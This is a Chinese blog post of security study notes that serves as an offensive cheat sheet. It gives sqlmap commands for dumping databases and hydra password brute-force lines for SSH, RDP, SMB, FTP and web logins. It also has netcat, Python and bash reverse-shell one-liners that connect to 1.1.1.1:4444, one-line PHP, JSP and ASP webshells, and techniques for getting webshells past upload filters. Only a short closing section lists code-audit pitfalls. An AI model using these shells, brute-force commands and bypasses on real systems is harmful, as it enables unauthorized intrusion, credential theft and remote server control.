当前位置:网站首页>网络安全学习小结--kali基本工具、webshell、代码审计

网络安全学习小结--kali基本工具、webshell、代码审计

2022-08-11 05:31:00 Tauil

0x00 kali基础工具使用

sqlmap

sql注入

#基本命令get型
sqlmap -u "URL" --dbs
sqlmap -u "URL" -D 数据库名称 --tables
sqlmap -u "URL" -D 数据库名称 -T 数据库表 --column
sqlmap -u "URL" -D 数据库名称 -T 数据表 -C  --dump
#基本命令post型
sqlmap -r "数据包" --dbs
sqlmap -r "数据包" -D 数据库名称 --tables
sqlmap -r "数据包" -D 数据库名称 -T 数据库表 --column
sqlmap -r "数据包" -D 数据库名称 -T 数据表 -C  --dump
#部分附加命令
--thread          -----线程设置,通常赋10
--delay           -----请求延时,防止被拉黑
--os-shell        -----获取主机shell
--null-connection -----检索没有body响应的内容,多用于盲注
--tamper          -----脚本调用

searchsploit

漏洞脚本库,提权,shell获取等等

Usage: searchsploit [options] term1 [term2] ... [termN]
 
==========
 Examples
==========
  searchsploit afd windows local
  searchsploit -t oracle windows
  searchsploit -p 39446
  searchsploit linux kernel 3.2 --exclude="(PoC)|/dos/"
 
  For more examples, see the manual: https://www.exploit-db.com/searchsploit/
 
 
=========
 Options
=========
   -c, --case     [Term]      区分大小写(默认不区分大小写)
   -e, --exact    [Term]      对exploit标题进行EXACT匹配 (默认为 AND) [Implies "-t"].
   -h, --help                 显示帮助
   -j, --json     [Term]      以JSON格式显示结果
   -m, --mirror   [EDB-ID]    把一个exp拷贝到当前工作目录,参数后加目标id
   -o, --overflow [Term]      Exploit标题被允许溢出其列
   -p, --path     [EDB-ID]    显示漏洞利用的完整路径(如果可能,还将路径复制到剪贴板),后面跟漏洞ID号
   -t, --title    [Term]      仅仅搜索漏洞标题(默认是标题和文件的路径)
   -u, --update               检查并安装任何exploitdb软件包更新(deb或git)
   -w, --www      [Term]      显示Exploit-DB.com的URL而不是本地路径(在线搜索)
   -x, --examine  [EDB-ID]    使用$ PAGER检查(副本)Exp
 
=======
 Notes
=======
 * 你可以使用任意数量的搜索词。
 * Search terms are not case-sensitive (by default), and ordering is irrelevant.
   * 搜索术语不区分大小写(默认情况下),而排序则无关紧要。
   * 如果你想用精确的匹配来过滤结果,请使用用 -e 参数
 * 使用' - t '将文件的路径排除,以过滤搜索结果
   * 删除误报(特别是在搜索使用数字时 - i.e. 版本).
 * 当更新或显示帮助时,搜索项将被忽略。

msfvenom

木马制作,后门连接shell

#简单木马生成
[https://blog.csdn.net/Tauil/article/details/126159500?spm=1001.2014.3001.5501]
#脚本使用
search 对应信息   ---搜索脚本
use 脚本路径      ---使用脚本
show options     ---查看脚本设置
set              ---设置
run              ---运行脚本

dirb

暴力遍历网站目录,获取网站结构

==========
 Examples
==========
  dirb URL
  dirb URL -w
  dirb URL -N 400
命令说明
-a <agent_string>指定自定义USER_AGENT(默认是:"Mozilla/4.0(兼容;MSIE 6.0;Windows NT 5.1)”)
-b不要挤压或合并给定URL中的/…/或/./序列
-c <cookie_string>为HTTP请求设置cookie
-E 使用指定的客户端证书文件
-f微调NOT_FOUND(404)检测
-H <header_string>将自定义标头添加到HTTP请求
-i使用不区分大小写的搜索
-l找到时打印“Location”标题
-N <nf_code>忽略此HTTP代码的响应
-o <output_file>将输出保存到磁盘
-p <proxy[:port]>使用此代理(默认端口为1080)
-r不要递归搜索
-R交互式递归(询问您要扫描的目录)
-S静音模式,不要显示经过测试的单词(用于哑终端)
-t不要在网址上强制使用结尾的“ /”
-u username:password使用的用户名和密码
-v也显示不存在的页面
-w不要停止警告消息
-x <extensions_file>使用此文件的扩展名扩大搜索
-X 使用此扩展程序扩大搜索
-z 使用此扩展程序扩大搜索

hydra

密码本暴力破解各种网站账号等

​#破解ssh:       hydra -L users.txt -P password.txt -vV -o ssh.log -e ns IP ssh

#破解https:     hydra -m /index.php -l username -P pass.txt IP https

#破解teamspeak: hydra -l 用户名 -P 密码字典 -s 端口号 -vV ip teamspeak

#破解cisco:     hydra -P pass.txt IP cisco

 hydra -m cloud -P pass.txt 127.0.0.1 cisco-enable
 
#破解smb:       hydra -l administrator -P pass.txt IP smb

#破解pop3:      hydra -l muts -P pass.txt my.pop3.mail pop3

#破解rdp:       hydra IP rdp -l administrator -P pass.txt -V         
 
#破解http-proxy:hydra -l admin -P pass.txt http-proxy://127.0.0.1  

#破解telnet:    hydra IP telnet -l 用户 -P 密码字典 -t 32 -s 23 -e ns -f -V

#破解ftp:       hydra IP ftp -l 用户名 -P 密码字典 -t 线程(默认16) -vV

#get方式提交,破解web登录: 
 hydra IP ftp -l 用户名 -P 密码字典 -e ns -vV
 hydra -l 用户名 -p 密码字典 -t 线程 -vV -e ns IP http-get /admin/
 hydra -l 用户名 -p 密码字典 -t 线程 -vV -e ns -f IP http-get /admin/index.php

nc

两方连接通话命令,假定AB进行连接,A(1.1.1.1)为控制端,B(2.2.2.2)为受控端,前后不同即为开启顺序不同

=======
正向连接
=======
  B:nc -lvp 4444 -e /bin/bash
  A:nc 2.2.2.2 4444

=======
反向连接
=======
  A:nc -lvp 4444
  B:nc 1.1.1.1 4444 -e /bin/bash

==========
python连接
==========
  A:nc -lvp 4444
  B:python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("1.1.1.1",4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'

========
bash连接
========
  A:nc -lvp 4444
  B:bash -i >& /dev/tcp/1.1.1.1/4444 0>&1

0x01 webshell

常见webshell文件:phpjspjspsaspaspxpy等等

开源webshell文件库:https://github.com/tennc/webshell

也有一句话木马,设定密码为 cmd

php

<?php eval($_POST["cmd"]);echo"getshell";?>

jsp

<%
if(request.getParameter("cmd")!=null)(new java.io.FileOutputStream(application.getRealPath("\\")+request.getParameter("cmd"))).write(request.getParameter("cmd").getBytes());
%>

asp

<%eval request ("cmd")%>

webshell连接工具:中国菜刀、Cknife、Altman、xise、Weevely、quasibot、Webshell-Sniper、蚁剑 antSword、冰蝎 Behinder、webacoo、哥斯拉 Godzilla、PhpSploit

webshell获取方式:

  • 网页源程序代码是否存在漏洞,如:
    • 解析漏洞
    • 文件上传漏洞
    • SQL注入
    • 远程命令执行漏洞
    • 程序源码执行漏洞
  • 查看网页中间插件是否存在漏洞
  • 网页网关是否存在写入漏洞
  • 网页是否存在敏感信息泄露漏洞
  • 网页服务器、数据库是否存在版本漏洞

webshell绕过:

  • 前端校验文件后缀时,可先传允许的文件类型,然后抓包修改文件后缀,MIME校验时,抓包修改Conten-Type为允许MIME类型
  • 利用特殊文件后缀,如.php3、.php5、.php7、.phtml、asa、cer、cdx、aspx、jspx、 jsw、jsv、jspf等。
  • 配合Windows/Linux特性使用特殊字符,如上传.php::$DATA、.php+空格等后缀的文件到Windows服务器,由于Windows的文件后缀中不能包含一些特殊符号,使得这些文件在保存在Windows服务器上时后缀只剩下.php。
  • 后缀大小写,如pHp,在数据包中使用双filename,如filename=“1.jsp”; filename=“1.php”。
  • 00截断,要求PHP<5.3.4且magic_quotes_gpc为OFF状态,配合解析漏洞,文件包含图片马
  • 使用文件头绕过,如图片中使用GIF,使用图片马,接着配合解析漏洞或者文件包含漏洞getshell使用元数据编辑器在图片的EXIF信息中插入一句话木马

0x02 代码审计

  • 非边界检查函数(例如,strcpy,sprintf,vsprintf和sscanf)可能导致缓冲区溢出漏洞
  • 可能干扰后续边界检查的缓冲区的指针操作,例如:if((bytesread = net_read(buf,len)) > 0)buf + = bytesread;
  • 调用像execve(),执行管道,system()和类似的东西,尤其是在使用非静态参数调用时
  • 输入验证,例如(在SQL中):statement=“SELECT * FROM users WHERE name =‘”+ userName +“’;”是一个SQL注入漏洞的示例
  • 文件包含功能,例如(在PHP中):include($ page.‘.php’);是远程文件包含漏洞的示例
  • 对于可能与恶意代码链接的库,返回对内部可变数据结构(记录,数组)的引用,恶意代码可能会尝试修改结构或保留引用以观察将来的更改

代码审计自动化工具:RIPS、Fortify SCA、FindBugs、Codescan、PHPXref、seay

原网站

版权声明
本文为[Tauil]所创,转载请带上原文链接,感谢
https://blog.csdn.net/Tauil/article/details/126252439